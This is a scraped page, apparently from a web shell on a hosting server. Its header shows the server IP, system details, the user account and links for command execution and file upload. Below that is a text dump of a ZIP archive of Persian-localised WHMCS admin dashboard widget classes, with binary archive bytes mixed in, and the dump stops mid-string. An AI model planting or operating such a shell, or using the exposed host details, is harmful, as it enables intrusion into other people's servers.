Server IP : 213.176.29.180 / Your IP : 3.145.43.200 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 8.3.14 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/webtaragh/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
PK �E'Z'`�p� � ClientActivity.phpnu �[��� <?php namespace WHMCS\Module\Widget; use WHMCS\Carbon; use WHMCS\Module\AbstractWidget; use WHMCS\User\Client; use WHMCS\Utility\GeoIp; /** * Client Activity Widget. * * @copyright Copyright (c) WHMCS Limited 2005-2018 * @license https://www.whmcs.com/license/ WHMCS Eula */ class ClientActivity extends AbstractWidget { protected $title = 'فعالیت های کاربر'; protected $description = 'کاربران آنلاین اخیر'; protected $weight = 70; protected $cache = true; protected $cacheExpiry = 300; protected $requiredPermission = 'List Clients'; public function getData() { return array( 'activeCount' => (int) Client::where('status', '=', 'Active')->count(), 'onlineCount' => (int) Client::where('lastlogin', '>', Carbon::now()->subHour()->toDateTimeString())->count(), 'recentActiveClients' => Client::orderBy('lastlogin', 'desc')->limit(25) ->get(array('id', 'firstname', 'lastname', 'companyname', 'ip', 'lastlogin'))->toArray(), ); } public function generateOutput($data) { $activeClients = number_format((int) $data['activeCount']); $usersOnline = number_format((int) $data['onlineCount']); $clients = array(); foreach ($data['recentActiveClients'] as $client) { // If there is no lastlogin setting, or its been set to a timestamp like 0000-00-00, we show N/A $clientLastLogin = (empty($client['lastlogin']) || strpos($client['lastlogin'], '0000') === 0) ? "N/A" : Carbon::createFromFormat('Y-m-d H:i:s', $client['lastlogin'])->diffForHumans(); $clients[] = '<div class="client"> <div class="last-login">' . $clientLastLogin . '</div> <a href="clientssummary.php?userid=' . $client['id'] . '" class="link">' . $client['firstname'] . ' ' . $client['lastname'] . ($client['companyname'] ? ' (' . $client['companyname'] . ')' : '') . '</a>' . GeoIp::getLookupHtmlAnchor($client['ip'], 'ip-address') . '</div>'; } $clientOutput = implode($clients); return <<<EOF <div class="icon-stats"> <div class="row"> <div class="col-sm-6"> <div class="item"> <div class="icon-holder text-center color-orange"> <a href="clients.php?status=Active"> <i class="pe-7s-user"></i> </a> </div> <div class="data"> <div class="note"> <a href="clients.php?status=Active">کاربر فعال</a> </div> <div class="number"> <a href="clients.php?status=Active"> <span class="color-orange">{$activeClients}</span> <span class="unit">فعال</span> </a> </div> </div> </div> </div> <div class="col-sm-6"> <div class="item"> <div class="icon-holder text-center color-green"> <i class="pe-7s-smile"></i> </div> <div class="data"> <div class="note"> کاربران آنلاین </div> <div class="number"> <span class="color-green">{$usersOnline}</span> <span class="unit">ساعات اخیر</span> </div> </div> </div> </div> </div> </div> <div class="clients-list"> {$clientOutput} </div> EOF; } } PK �E'Z���Wb b Badges.phpnu �[��� <?php namespace WHMCS\Module\Widget; use WHMCS\Carbon; use WHMCS\Clients; use WHMCS\Module\AbstractWidget; use WHMCS\Module\Queue as ModuleQueue; use WHMCS\Orders; /** * Badges Widget. * * @copyright Copyright (c) WHMCS Limited 2005-2018 * @license https://www.whmcs.com/license/ WHMCS Eula */ class Badges extends AbstractWidget { protected $title = 'نشان ها'; protected $description = ''; protected $columns = 3; protected $weight = 0; protected $wrapper = false; protected $cache = true; protected $cacheExpiry = 120; protected $draggable = false; public function getData() { $clients = new Clients(); $orders = new Orders(); $ticketCounts = localApi('GetTicketCounts', array()); return array( 'pendingOrders' => $orders->getPendingCount(), 'ticketsAwaitingReply' => $ticketCounts['awaitingReply'], 'cancellations' => $clients->getNumberOfOpenCancellationRequests(), 'moduleQueueCount' => ModuleQueue::incomplete()->count(), ); } public function generateOutput($data) { $pendingOrders = (int) $data['pendingOrders']; $awaitingReply = (int) $data['ticketsAwaitingReply']; $pendingCancellations = (int) $data['cancellations']; $moduleQueueCount = (int) $data['moduleQueueCount']; return <<<EOF <div class="row home-status-badge-row"> <div class="col-sm-3"> <div class="health-status-block status-badge-green clearfix"> <div class="icon"> <a href="orders.php"> <i class="fas fa-shopping-cart"></i> </a> </div> <div class="detail"> <a href="orders.php?status=Pending"> <span class="count">{$pendingOrders}</span> <span class="desc">سفارش های معلق</span> </a> </div> </div> </div> <div class="col-sm-3"> <div class="health-status-block status-badge-pink clearfix"> <div class="icon"> <a href="supporttickets.php"> <i class="fas fa-comment"></i> </a> </div> <div class="detail"> <a href="supporttickets.php"> <span class="count">{$awaitingReply}</span> <span class="desc">تیکت های در انتظار پاسخ</span> </a> </div> </div> </div> <div class="col-sm-3"> <div class="health-status-block status-badge-orange clearfix"> <div class="icon"> <a href="cancelrequests.php"> <i class="fas fa-ban"></i> </a> </div> <div class="detail"> <a href="cancelrequests.php"> <span class="count">{$pendingCancellations}</span> <span class="desc">درخواست کنسلی</span> </a> </div> </div> </div> <div class="col-sm-3"> <div class="health-status-block status-badge-cyan clearfix"> <div class="icon"> <a href="modulequeue.php"> <i class="fas fa-exclamation-triangle"></i> </a> </div> <div class="detail"> <a href="modulequeue.php"> <span class="count">{$moduleQueueCount}</span> <span class="desc">تعلیق ماژول ها</span> </a> </div> </div> </div> </div> EOF; } } PK �E'Z��T[ [ Billing.phpnu �[��� <?php namespace WHMCS\Module\Widget; use WHMCS\Module\AbstractWidget; /** * Billing Widget. * * @copyright Copyright (c) WHMCS Limited 2005-2018 * @license https://www.whmcs.com/license/ WHMCS Eula */ class Billing extends AbstractWidget { protected $title = 'صورت حساب'; protected $description = 'مشاهده گذرا صورت حساب ها'; protected $weight = 40; protected $cache = true; protected $requiredPermission = 'View Income Totals'; public function getData() { $incomeStats = getAdminHomeStats('income'); foreach ($incomeStats['income'] as $key => $value) { $incomeStats['income'][$key] = $value->toPrefixed(); } return $incomeStats; } public function generateOutput($data) { $incomeToday = $data['income']['today']; $incomeThisMonth = $data['income']['thismonth']; $incomeThisYear = $data['income']['thisyear']; $incomeAllTime = $data['income']['alltime']; return <<<EOF <div class="row"> <div class="col-sm-6 bordered-right"> <div class="item"> <div class="data color-green">{$incomeToday}</div> <div class="note">امروز</div> </div> </div> <div class="col-sm-6"> <div class="item"> <div class="data color-orange">{$incomeThisMonth}</div> <div class="note">این ماه</div> </div> </div> <div class="col-sm-6 bordered-right bordered-top"> <div class="item"> <div class="data color-pink">{$incomeThisYear}</div> <div class="note">این سال</div> </div> </div> <div class="col-sm-6 bordered-top"> <div class="item"> <div class="data">{$incomeAllTime}</div> <div class="note">کلی</div> </div> </div> </div> EOF; } } PK �E'Z� y � � Activity.phpnu �[��� <?php namespace WHMCS\Module\Widget; use WHMCS\Carbon; use WHMCS\Log\Activity as ActivityLog; use WHMCS\Module\AbstractWidget; /** * Activity Widget. * * @copyright Copyright (c) WHMCS Limited 2005-2018 * @license https://www.whmcs.com/license/ WHMCS Eula */ class Activity extends AbstractWidget { protected $title = 'فعالیت ها'; protected $description = 'گزارش فعالیت های سیستم'; protected $weight = 100; protected $cache = true; protected $requiredPermission = 'View Activity Log'; public function getData() { return localAPI('GetActivityLog', array('limitstart' => 0, 'limitnum' => 10)); } public function generateOutput($data) { $log = new ActivityLog(); $output = ''; foreach ($data['activity']['entry'] as $entry) { $date = Carbon::createFromFormat('Y-m-d H:i:s', $entry['date']); $description = $entry['description']; if ($entry['userid']) { $userLabel = ' - User ID: ' . $entry['userid']; if (!strpos($description, $userLabel)) { $description .= $userLabel; } } $output .= ' <div class="feed-element"> <div> <small class="pull-right text-navy">' . $date->diffForHumans() . '</small> <strong>' . $entry['username'] . '</strong> <div>' . $log->autoLink($description) . '</div> <small class="text-muted">' . $entry['ipaddress'] . '</small> </div> </div>'; } return <<<EOF <div class="widget-content-padded"> {$output} </div> EOF; } } PK �E'Z�^��! �! Automation.phpnu �[��� <?php namespace WHMCS\Module\Widget; use WHMCS\Carbon; use WHMCS\Module\AbstractWidget; /** * Automation Widget. * * @copyright Copyright (c) WHMCS Limited 2005-2018 * @license https://www.whmcs.com/license/ WHMCS Eula */ class Automation extends AbstractWidget { protected $title = 'بخش فروش'; protected $description = 'بخش فروش در یک نگاه کلی'; protected $weight = 20; protected $cache = true; protected $requiredPermission = 'Configure Automation Settings'; public function getData() { return localApi('GetAutomationLog', array('startdate' => date("Y-m-d", time() - (7 * 24 * 60 * 60)))); } public function generateOutput($data) { try { $today = Carbon::createFromFormat('Y-m-d H:i:s', $data['currentDatetime'])->toDateString(); $lastDailyCronInvocationTime = Carbon::createFromFormat('Y-m-d H:i:s', $data['lastDailyCronInvocationTime']); if ($lastDailyCronInvocationTime->toDateString() == Carbon::today()->toDateString()) { $lastInvokationTime = '<strong>امروز</strong> at ' . $lastDailyCronInvocationTime->format('g:i A'); } elseif ($lastDailyCronInvocationTime->toDateString() == Carbon::yesterday()->toDateString()) { $lastInvokationTime = '<strong>دیروز</strong> at ' . $lastDailyCronInvocationTime->format('g:i A'); } else { $lastInvokationTime = $lastDailyCronInvocationTime->diffForHumans(); } if (Carbon::now()->diffInHours($lastDailyCronInvocationTime) > 24) { $lastInvokationTime .= ' <a href="configauto.php" class="label label-danger">نیاز به اصلاح</a>'; } } catch (\Exception $e) { $lastInvokationTime = '<strong>هیچ وقت .</strong> <a href="configauto.php" class="label label-danger">نیاز به اصلاح</a>'; } if (isset($data['statistics'][$today])) { $invoicesCreatedToday = (int)$data['statistics'][$today]['CreateInvoices']['invoice.created']; $ccCapturesToday = (int)$data['statistics'][$today]['ProcessCreditCardPayments']['captured']; $overdueSuspensionsToday = (int)$data['statistics'][$today]['AutoSuspensions']['suspended']; $closedTicketsToday = (int)$data['statistics'][$today]['CloseInactiveTickets']['closed']; $cancellationsToday = (int)$data['statistics'][$today]['CancellationRequests']['cancellations']; $overdueRemindersToday = (int)$data['statistics'][$today]['InvoiceReminders']['unpaid'] + $data['statistics'][$today]['InvoiceReminders']['overdue.first'] + $data['statistics'][$today]['InvoiceReminders']['overdue.second'] + $data['statistics'][$today]['InvoiceReminders']['overdue.third']; } else { $invoicesCreatedToday = $ccCapturesToday = $overdueSuspensionsToday = $closedTicketsToday = $cancellationsToday = $overdueRemindersToday = 0; } $graphData = array(); foreach ($data['statistics'] as $date => $statistics) { $graphData['createinvoices'][] = (int) $statistics['CreateInvoices']['invoice.created']; $graphData['processcreditcardpayments'][] = (int) $statistics['ProcessCreditCardPayments']['captured']; $graphData['suspensions'][] = (int) $statistics['AutoSuspensions']['suspended']; $graphData['closetickets'][] = (int) $statistics['CloseInactiveTickets']['closed']; $graphData['cancellationrequests'][] = (int) $statistics['CancellationRequests']['cancellations']; $graphData['invoicereminders'][] = (int) $statistics['InvoiceReminders']['unpaid'] + $statistics['InvoiceReminders']['overdue.first'] + $statistics['InvoiceReminders']['overdue.second'] + $statistics['InvoiceReminders']['overdue.third']; } if (!empty($graphData)) { $invoicesCreatedString = implode(',', $graphData['createinvoices']); $ccCapturesString = implode(',', $graphData['processcreditcardpayments']); $overdueSuspensionsString = implode(',', $graphData['suspensions']); $closedTicketsString = implode(',', $graphData['closetickets']); $cancellationsString = implode(',', $graphData['cancellationrequests']); $overdueRemindersString = implode(',', $graphData['invoicereminders']); } else { $invoicesCreatedString = $ccCapturesString = $overdueSuspensionsString = $closedTicketsString = $cancellationsString = $overdueRemindersString = ''; } return <<<EOF <div class="row"> <div class="col-xs-6 col-sm-4 col-md-6"> <div class="mini-chart"> <a href="automationstatus.php?metric=CreateInvoices"> <span class="peity-line" data-peity='{ "fill": "rgba(64, 186, 189, 0.2)", "stroke": "rgba(64, 186, 189, 0.7)", "strokeWidth": 2, "width": 120}'>{$invoicesCreatedString}</span> </a> </div> <h4 class="item-title"> <span class="title-text">فاکتور ایجاد شده</span> </h4> <p class="item-figure color-blue">{$invoicesCreatedToday}</p> </div> <div class="col-xs-6 col-sm-4 col-md-6"> <div class="mini-chart"> <a href="automationstatus.php?metric=ProcessCreditCardPayments"> <span class="peity-line" data-peity='{ "fill": "rgba(132, 217, 145, 0.2)", "stroke": "rgba(132, 217, 145, 0.7)", "strokeWidth": 2, "width": 120}'>{$ccCapturesString}</span> </a> </div> <h4 class="item-title"> <span class="title-text">کارت های اعتباری</span> </h4> <p class="item-figure color-green">{$ccCapturesToday}</p> </div> <div class="col-xs-6 col-sm-4 col-md-6"> <div class="mini-chart"> <a href="automationstatus.php?metric=AutoSuspensions"> <span class="peity-line" data-peity='{ "fill": "rgba(248, 161, 63, 0.2)", "stroke": "rgba(248, 161, 63, 0.7)", "strokeWidth": 2, "width": 120}'>{$overdueSuspensionsString}</span> </a> </div> <h4 class="item-title"> <span class="title-text">حساب های تعلیق شده</span> </h4> <p class="item-figure color-orange">{$overdueSuspensionsToday}</p> </div> <div class="col-xs-6 col-sm-4 col-md-6"> <div class="mini-chart"> <a href="automationstatus.php?metric=CloseInactiveTickets"> <span class="peity-line" data-peity='{ "fill": "rgba(234, 83, 149, 0.2)", "stroke": "rgba(234, 83, 149, 0.7)", "strokeWidth": 2, "width": 120}'>{$closedTicketsString}</span> </a> </div> <h4 class="item-title"> <span class="title-text">تیکت های بسته شده</span> </h4> <p class="item-figure color-pink">{$closedTicketsToday}</p> </div> <div class="col-xs-6 col-sm-4 col-md-6"> <div class="mini-chart"> <a href="automationstatus.php?metric=InvoiceReminders"> <span class="peity-line" data-peity='{ "fill": "rgba(30, 30, 30, 0.2)", "stroke": "rgba(30, 30, 30, 0.4)", "strokeWidth": 2, "width": 120}'>{$overdueRemindersString}</span> </a> </div> <h4 class="item-title"> <span class="title-text">یادآوری سررسید</span> </h4> <p class="item-figure color-grey">{$overdueRemindersToday}</p> </div> <div class="col-xs-6 col-sm-4 col-md-6"> <div class="mini-chart"> <a href="automationstatus.php?metric=CancellationRequests"> <span class="peity-line" data-peity='{ "fill": "rgba(144, 31, 197, 0.2)", "stroke": "rgba(144, 31, 197, 0.7)", "strokeWidth": 2, "width": 120}'>{$cancellationsString}</span> </a> </div> <h4 class="item-title"> <span class="title-text">درخواست کنسل</span> </h4> <p class="item-figure color-purple">{$cancellationsToday}</p> </div> <div class="col-xs-12 text-footer"> <i class="fas fa-check-circle fa-fw"></i> آخرین باری که کرون اجرا شد : {$lastInvokationTime} </div> </div> <script> $(document).ready(function() { $.fn.peity.defaults.line = { delimiter: ",", fill: "#92d1d2", height: 32, max: null, min: 0, stroke: "#40babd", strokeWidth: 1, width: 100 } $(".peity-line").peity("line"); }); </script> EOF; } } PK �E'ZB0~2- 2- Overview.phpnu �[��� <?php namespace WHMCS\Module\Widget; use AdminLang; use App; use WHMCS\Carbon; use WHMCS\Database\Capsule; use WHMCS\Module\AbstractWidget; use WHMCS\Order\Order; /** * System Overview Widget. * * @copyright Copyright (c) WHMCS Limited 2005-2018 * @license https://www.whmcs.com/license/ WHMCS Eula */ class Overview extends AbstractWidget { protected $title = 'بررسی اجمالی سیستم'; protected $description = 'بررسی اجمالی سیستم در یک نگاه'; protected $columns = 2; protected $weight = 10; protected $requiredPermission = 'View Income Totals'; public function getData() { $today = Carbon::today()->startOfDay()->toDateString(); $month = Carbon::today()->subMonth()->startOfDay()->toDateString(); $year = Carbon::today()->subYear()->startOfMonth()->startOfDay()->toDateString(); $dates = [ 'today' => '%k', 'month' => '%e %M', 'year' => '%M %Y', ]; $orderData = $completeOrderData = array(); foreach ($dates as $dateType => $format) { $data = Order::where('date', '>', $$dateType) ->select( [ Capsule::raw('date_format(date, \'' . $format . '\') as format_date'), Capsule::raw('COUNT(id) as id_count'), 'status', ] ) ->groupBy('format_date', 'status') ->get(); $xAxisData = $data->pluck('format_date'); $todayData = $completedData = []; foreach ($xAxisData as $xAxisDatum) { $todayData[$xAxisDatum] = $data->where('format_date', $xAxisDatum) ->sum('id_count'); $completedData[$xAxisDatum] = $data->where('format_date', $xAxisDatum) ->where('status', 'Active') ->sum('id_count'); } $orderData[$dateType] = $todayData; $completeOrderData[$dateType] = $completedData; } $incomeData = array(); $results = Capsule::table('tblaccounts') ->select( Capsule::raw("DATE_FORMAT(date, '%k') AS dateTime"), Capsule::raw('SUM(amountin/rate) AS amountIn') ) ->where('date', '>', $today) ->groupBy(Capsule::raw("DATE_FORMAT(date, '%k')")) ->get() ->all(); foreach ($results as $result) { $incomeData['today'][$result->dateTime] = $result->amountIn; } $results = Capsule::table('tblaccounts') ->select( Capsule::raw("DATE_FORMAT(date, '%e %M') AS dateTime"), Capsule::raw('SUM(amountin/rate) AS amountIn') ) ->where('date', '>', $month) ->groupBy(Capsule::raw("DATE_FORMAT(date, '%e %M')")) ->get() ->all(); foreach ($results as $result) { $incomeData['month'][$result->dateTime] = $result->amountIn; } $results = Capsule::table('tblaccounts') ->select( Capsule::raw("DATE_FORMAT(date, '%M %Y') AS dateTime"), Capsule::raw('SUM(amountin/rate) AS amountIn') ) ->where('date', '>', $year) ->groupBy(Capsule::raw("date_format(date, '%M %Y')")) ->get() ->all(); foreach ($results as $result) { $incomeData['year'][$result->dateTime] = $result->amountIn; } return array( 'orders' => array( 'new' => $orderData, 'complete' => $completeOrderData, ), 'revenue' => array( 'income' => $incomeData, ), ); } public function generateOutput($data) { $viewPeriod = App::getFromRequest('viewperiod'); if (!in_array($viewPeriod, array('today', 'month', 'year'))) { $viewPeriod = 'today'; } $orderData = (isset($data['orders']['new'][$viewPeriod])) ? $data['orders']['new'][$viewPeriod] : []; $completedOrderData = []; if (isset($data['orders']['complete'][$viewPeriod])) { $completedOrderData = $data['orders']['complete'][$viewPeriod]; } $incomeData = (isset($data['revenue']['income'][$viewPeriod]))? $data['revenue']['income'][$viewPeriod] : []; $graphLabels = $graphData = $graphData2 = $graphData3 = array(); if ($viewPeriod == 'today') { for ($i = 0; $i <= date("H"); $i++) { $graphLabels[] = date("ga", mktime($i, date("i"), date("s"), date("m"), date("d"), date("Y"))); $graphData[] = isset($orderData[$i]) ? $orderData[$i] : 0; $graphData2[] = isset($incomeData[$i]) ? $incomeData[$i] : 0; $graphData3[] = isset($completedOrderData[$i]) ? $completedOrderData[$i] : 0; } } elseif ($viewPeriod == 'month') { for ($i = 0; $i < 30; $i++) { $time = mktime(0, 0, 0, date("m"), date("d") - $i, date("Y")); $graphLabels[] = date("jS", $time); $graphData[] = isset($orderData[date("j F", $time)]) ? $orderData[date("j F", $time)] : 0; $graphData2[] = isset($incomeData[date("j F", $time)]) ? $incomeData[date("j F", $time)] : 0; $graphData3[] = isset($completedOrderData[date("j F", $time)]) ? $completedOrderData[date("j F", $time)] : 0; } $graphLabels = array_reverse($graphLabels); $graphData = array_reverse($graphData); $graphData2 = array_reverse($graphData2); $graphData3 = array_reverse($graphData3); } elseif ($viewPeriod == 'year') { for ($i = 0; $i < 12; $i++) { $time = mktime(0, 0, 0, date("m") - $i, 1, date("Y")); $graphLabels[] = date("F y", $time); $graphData[] = isset($orderData[date("F Y", $time)]) ? $orderData[date("F Y", $time)] : 0; $graphData2[] = isset($incomeData[date("F Y", $time)]) ? $incomeData[date("F Y", $time)] : 0; $graphData3[] = isset($completedOrderData[date("F Y", $time)]) ? $completedOrderData[date("F Y", $time)] : 0; } $graphLabels = array_reverse($graphLabels); $graphData = array_reverse($graphData); $graphData2 = array_reverse($graphData2); $graphData3 = array_reverse($graphData3); } $graphLabels = '"' . implode('","', $graphLabels) . '"'; $graphData = implode(',', $graphData); $graphData2 = implode(',', $graphData2); $graphData3 = implode(',', $graphData3); $activeToday = ($viewPeriod == 'today') ? ' active' : ''; $activeThisMonth = ($viewPeriod == 'month') ? ' active' : ''; $activeThisYear = ($viewPeriod == 'year') ? ' active' : ''; $langToday = AdminLang::trans('billing.incometoday'); $langActiveThisMonth = AdminLang::trans('billing.incomethismonth'); $langActiveThisYear = AdminLang::trans('billing.incomethisyear'); $langNewOrders = AdminLang::trans('home.newOrders'); $langActivatedOrders = AdminLang::trans('home.activatedOrders'); $langIncome = AdminLang::trans('billing.income'); $langOrders = AdminLang::trans('orders.title'); return <<<EOF <div style="padding:20px;"> <div class="btn-group btn-group-sm btn-period-chooser" role="group" aria-label="..."> <button type="button" class="btn btn-default{$activeToday}" data-period="today">{$langToday}</button> <button type="button" class="btn btn-default{$activeThisMonth}" data-period="month">{$langActiveThisMonth}</button> <button type="button" class="btn btn-default{$activeThisYear}" data-period="year">{$langActiveThisYear}</button> </div> </div> <div style="width:100%;height:317px;overflow:hidden"> <div id="myChartParent"> <canvas id="myChart" height="277"></canvas> </div> </div> <script> $(document).ready(function() { var chartObject = null; var windowResizeTimeoutId = null; $('.btn-period-chooser button').click(function() { $('.btn-period-chooser button').removeClass('active'); $(this).addClass('active'); refreshWidget('Overview', 'viewperiod=' + $(this).data('period')); }); $(window).resize(function() { if (windowResizeTimeoutId) { clearTimeout(windowResizeTimeoutId); windowResizeTimeoutId = null; } windowResizeTimeoutId = setTimeout(function() { if (typeof chartObject === 'object') { chartObject.resize(false); } }, 250); }); var lineData = { labels: [{$graphLabels}], datasets: [ { label: '{$langNewOrders}', backgroundColor: "rgba(220,220,220,0.5)", borderColor: "rgba(220,220,220,1)", pointBackgroundColor: "rgba(220,220,220,1)", pointBorderColor: "#fff", yAxisID: "y-axis-0", data: [{$graphData}], type: 'line', lineTension: 0 }, { label: '{$langActivatedOrders}', backgroundColor: "rgba(51,92,249,0.5)", borderColor: "rgba(51,92,249,1)", pointBackgroundColor: "rgba(51,92,249,1)", pointBorderColor: "#fff", yAxisID: "y-axis-0", data: [{$graphData3}] }, { label: '{$langIncome}', backgroundColor: "rgba(93,197,96,0.5)", borderColor: "rgba(93,197,96,1)", pointBackgroundColor: "rgba(93,197,96,1)", pointBorderColor: "#fff", yAxisID: "y-axis-1", data: [{$graphData2}], type: 'line' } ] }; var canvas = document.getElementById("myChart"); var parent = document.getElementById('myChartParent'); canvas.width = parent.offsetWidth; canvas.height = parent.offsetHeight; var ctx = $("#myChart"); var chartObject = new Chart(ctx, { type: 'bar', data: lineData, options: { responsive: false, maintainAspectRatio: false, responsiveAnimationDuration: 500, scales: { yAxes: [ { position: "left", "id": "y-axis-0", scaleLabel: { display: true, labelString: '{$langOrders}' }, ticks: { beginAtZero: true } }, { position: "right", "id": "y-axis-1", scaleLabel: { display: true, labelString: '{$langIncome}' }, ticks: { beginAtZero: true } } ] } } }); }); </script> EOF; } } PK �E'ZB�w� � Staff.phpnu �[��� <?php namespace WHMCS\Module\Widget; use WHMCS\Carbon; use WHMCS\Module\AbstractWidget; use WHMCS\User\AdminLog; /** * Staff Widget. * * @copyright Copyright (c) WHMCS Limited 2005-2020 * @license https://www.whmcs.com/license/ WHMCS Eula */ class Staff extends AbstractWidget { protected $title = 'کارمندان آنلاین'; protected $description = 'مشاهده کارمندان آنلاین شما'; protected $weight = 50; protected $cache = true; protected $cacheExpiry = 60; public function getData() { return AdminLog::with('admin')->online()->get(); } public function generateOutput($data) { $staffOutput = ''; //phpcs:disable foreach ($data as $session) { $staffOutput .= '<div class="staff">' . '<img src="https://www.gravatar.com/avatar/' . $session['admin']['gravatarHash'] . '?s=60&d=mp" width="60" height="60" alt="Gravatar"/>' . '<div class="name">' . $session['admin']['firstname'] . ' ' . $session['admin']['lastname'] . '</div>' . '<div class="note text-muted">' . Carbon::createFromFormat('Y-m-d H:i:s', $session['lastvisit'])->diffForHumans() . '</div>' . '</div>'; } //phpcs:enable return <<<EOF <div class="widget-staff-container clearfix"> {$staffOutput} </div> EOF; } } PK �E'Z6g� � ToDo.phpnu �[��� <?php namespace WHMCS\Module\Widget; use App; use WHMCS\Carbon; use WHMCS\Module\AbstractWidget; use WHMCS\Session; /** * ToDo Widget. * * @copyright Copyright (c) WHMCS Limited 2005-2018 * @license https://www.whmcs.com/license/ WHMCS Eula */ class ToDo extends AbstractWidget { protected $title = 'لیست کارهای روزانه'; protected $description = ''; protected $weight = 60; protected $cache = false; protected $requiredPermission = 'To-Do List'; public function getData() { if (App::getFromRequest('completedtodo')) { $results = localApi('UpdateToDoItem', array('itemid' => App::getFromRequest('completedtodo'), 'adminid' => Session::get('adminid'), 'status' => 'Completed')); } $toDo = localAPI('GetToDoItems', array('status' => 'Incomplete', 'limitstart' => 0, 'limitnum' => 11)); return (isset($toDo['items']['item'])) ? $toDo['items']['item'] : []; } public function generateOutput($data) { $output = ''; foreach ($data as $key => $toDoItem) { if ($key == 10) { $output .= '<a href="todolist.php" class="view-more">مشاهده همه موارد</a>'; continue; } $date = Carbon::createFromFormat('Y-m-d', $toDoItem['date']); if ($toDoItem['duedate'] == '0000-00-00') { $duedate = 'Never'; } else { $duedate = Carbon::createFromFormat('Y-m-d', $toDoItem['duedate'])->diffForHumans(); } $id = $toDoItem['id']; $title = $toDoItem['title']; $description = $toDoItem['description']; $admin = $toDoItem['admin']; $status = $toDoItem['status']; if ($admin == Session::get('adminid')) { $assigned = ' <i class="fas fa-user color-green" data-toggle="tooltip" data-placement="bottom" title="Assigned to you"></i>'; } elseif ($admin > 0) { $assigned = ' <i class="fas fa-user color-cyan" data-toggle="tooltip" data-placement="bottom" title="Assigned to somebody else"></i>'; } else { $assigned = ' <i class="fas fa-user color-grey" data-toggle="tooltip" data-placement="bottom" title="Unassigned"></i>'; } $statusColor = 'default'; if ($status == 'Incomplete') { $statusColor = 'danger'; } elseif ($status == 'New') { $statusColor = 'warning'; } elseif ($status == 'Pending') { $statusColor = 'success'; } elseif ($status == 'In Progress') { $statusColor = 'info'; } $status = ' <label class="label label-' . $statusColor . '">' . $status . '</label>'; $output .= ' <div class="item"> <div class="due">Due ' . $duedate . '</div> <div> <label> <input type="checkbox" value="' . $id . '"> ' . '<a href="todolist.php?action=edit&id=' . $id . '">' . $title . '</a>' . $status . $assigned . ' </label> </div> </div>'; } if (count($data) == 0) { $output = '<div class="text-center"> هیچ لیست کاری وجود ندارد . <br /><br /> <a href="todolist.php" class="btn btn-primary btn-sm">افزودن لیست کار</a> <br /><br /> </div>'; } return <<<EOF <div class="widget-content-padded to-do-items"> {$output} </div> <script> jQuery(document).ready(function(){ jQuery('.to-do-items input').iCheck({ inheritID: true, checkboxClass: 'icheckbox_flat-blue' }); jQuery('.widget-todo').on('ifChecked', '.item input', function(event) { refreshWidget('ToDo', 'refresh=1&completedtodo=' + $(this).val()); }); }); </script> <style> .to-do-items { margin-top: -2px; font-size: 0.9em; } .to-do-items .item { margin: 2px 0 0 0; padding: 3px 10px; background-color: #f8f8f8; line-height: 26px; } .to-do-items label { margin-bottom: 0; font-weight: normal; } .to-do-items .item .icheckbox_flat-blue { margin-top: -2px; margin-right: 5px; } .to-do-items .due { float: right; font-size: 0.85em; color: #999; } .to-do-items .view-more { display: block; padding: 10px 0 0 0; text-align: center; text-decoration: underline; font-size: 1em; } </style> EOF; } } PK �E'Z�{L�p p MarketConnect.phpnu �[��� <?php namespace WHMCS\Module\Widget; use AdminLang; use App; use WHMCS\MarketConnect\Balance; use WHMCS\MarketConnect\MarketConnect as MarketConnectConnector; use WHMCS\Module\AbstractWidget; /** * MarketConnect Widget. * * @copyright Copyright (c) WHMCS Limited 2005-2018 * @license https://www.whmcs.com/license/ WHMCS Eula */ class MarketConnect extends AbstractWidget { protected $title = 'مارکت کانکت'; protected $description = 'An overview of MarketConnect.'; protected $weight = 45; protected $cache = true; protected $cacheExpiry = 6 * 60; protected $requiredPermission = 'View MarketConnect Balance'; public function getData() { $isMarketConnectConfigured = MarketConnectConnector::isAccountConfigured(); if ($isMarketConnectConfigured) { $activeServices = MarketConnectConnector::getActiveServices(); } return [ 'isConfigured' => $isMarketConnectConfigured, 'activeServices' => $isMarketConnectConfigured ? $activeServices : [], ]; } public function generateOutput($data) { $isConfigured = $data['isConfigured']; $activeServices = $data['activeServices']; $balance = (new Balance) ->loadFromCache(); try { if (App::getFromRequest('refresh')) { $balance->updateViaApi(); } else { $balance->setCacheTimeout(6) ->updateViaApiIfExpired(); } } catch (\Exception $e) { // Exception will likely be an auth error // On exception, continue using cached data or assume zero } $balanceAmount = number_format($balance->getBalance(), 2, '.', ','); $balanceLastUpdated = $balance->getLastUpdatedDiff(); $langManage = AdminLang::trans('home.manage'); $langSellingStatus = AdminLang::trans('marketConnect.sellingStatus'); $langDepositFunds = AdminLang::trans('marketConnect.depositFunds'); $langYourBalance = AdminLang::trans('marketConnect.yourBalance'); $langLastUpdated = AdminLang::trans('marketConnect.lastUpdated'); $langBalance = AdminLang::trans('fields.balance'); $langPromotions = AdminLang::trans('global.promotions'); $services = []; foreach (MarketConnectConnector::SERVICES as $service) { $isActive = in_array($service['vendorSystemName'], $activeServices); $logoFilename = 'logo-sml.png'; if (file_exists( ROOTDIR . DIRECTORY_SEPARATOR . 'assets' . DIRECTORY_SEPARATOR . 'img' . DIRECTORY_SEPARATOR . 'marketconnect' . DIRECTORY_SEPARATOR . $service['vendorSystemName'] . DIRECTORY_SEPARATOR . 'logo-sml.svg' )) { $logoFilename = 'logo-sml.svg'; } $services[] = '<div class="service ' . ($isActive ? 'selling' : 'not-selling') . '"> <img src="../assets/img/marketconnect/' . $service['vendorSystemName'] . '/' . $logoFilename . '"> <span class="title">' . $service['serviceTitle'] . '<br>by ' . $service['vendorName'] . '</span> ' . ($isActive ? '<span class="label label-success">Selling</span>' : '<span class="label label-default">Not Selling</span>') . ' </div>'; } if ($isConfigured) { $accountOutput = '<form method="post" action="marketconnect.php"> <input type="hidden" name="action" value="sso"> <div class="balance-wrapper"> <div class="pull-right text-right"> <button type="submit" class="btn btn-default btn-deposit"> <i class="fas fa-credit-card fa-fw"></i> ' . $langDepositFunds . ' </button><br> <a href="https://marketplace.whmcs.com/promotions" target="_blank" class="btn btn-default btn-promo"> <i class="fas fa-ticket-alt fa-fw"></i> ' . $langPromotions . ' </a> </div> <h4>' . $langYourBalance . '</h4> <strong>' . $balanceAmount . 